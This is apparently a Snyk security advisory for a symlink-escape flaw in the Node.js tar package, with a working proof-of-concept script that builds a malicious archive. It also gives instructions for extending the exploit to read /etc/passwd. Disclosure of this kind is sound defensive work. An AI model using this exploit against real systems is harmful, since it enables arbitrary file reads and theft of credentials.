Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade tar to version 8.0.0 or higher.
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Symlink Attack via a backslash separator differential in the symlink linkpath containment check inside Unpack[STRIPABSOLUTEPATH] in src/unpack.ts. On non-Windows hosts, the containment check splits the symlink linkpath on both / and \ (via replaceAll(/\\/g, '/')), treating backslash as a path separator when counting segments. However, the symlink is created with the raw, unmodified linkpath via fs.symlink(entry.linkpath, entry.absolute), where the kernel treats \ as an ordinary filename character. A segment like A\B counts as two segments to the check but one to the kernel, so a .. run that the check believes stays inside the extraction directory actually escapes it at creation and resolution time. An attacker who supplies a tar archive containing a directory entry with a backslash-padded name and a symlink entry whose linkpath exploits this differential can plant a symlink that resolves to an arbitrary path on the same filesystem, enabling arbitrary file read from outside the extraction directory.
Note: This is only exploitable on non-Windows hosts (Linux/macOS), where backslash is not a path separator at the kernel level.
Non-Windows host (Linux/macOS), default options. Benign: reads a marker file placed in the PARENT of the extraction dir.
Steps: npm i tar@7.5.22 tar-stream node poc.js
poc.js:
const tar = require('tar'), { pack } = require('tar-stream');
const fs = require('fs'), path = require('path'), os = require('os');
const base = fs.mkdtempSync(path.join(os.tmpdir(), 'poc-'));
const cwd = path.join(base, 'extract'); fs.mkdirSync(cwd);
fs.writeFileSync(path.join(base, 'SENTINEL.txt'), 'OUT-OF-TREE'); // in the PARENT of cwd
const p = pack();
p.entry({ name: 'A\\B', type: 'directory', mode: 0o755 }); // one on-disk segment "A\B"
p.entry({ name: 'escape', type: 'symlink', linkname: 'A\\B/../../SENTINEL.txt', mode: 0o777 });
p.finalize();
const chunks = []; p.on('data', c => chunks.push(c)); p.on('end', async () => {
const tf = path.join(base, 'e.tar'); fs.writeFileSync(tf, Buffer.concat(chunks));
await tar.x({ file: tf, cwd }); // DEFAULT options
console.log('realpath:', fs.realpathSync(path.join(cwd, 'escape')));
console.log('read :', fs.readFileSync(path.join(cwd, 'escape'), 'utf8'));
});
Expected output: cwd/escape resolves to /SENTINEL.txt (the PARENT of the extraction directory) and reads "OUT-OF-TREE".
To show arbitrary read of a real file: use a padding segment of ~50 backslashes plus the matching number of ".." and then "/etc/passwd" as the linkname (and a directory entry named the same padding segment). The resulting symlink resolves to /etc/passwd (verified: first line "root:x:0:0:root:/root:/bin/bash").
Note: The PoC targets a non-Windows host (Linux/macOS) using tar@7.5.22 and tar-stream with default extraction options.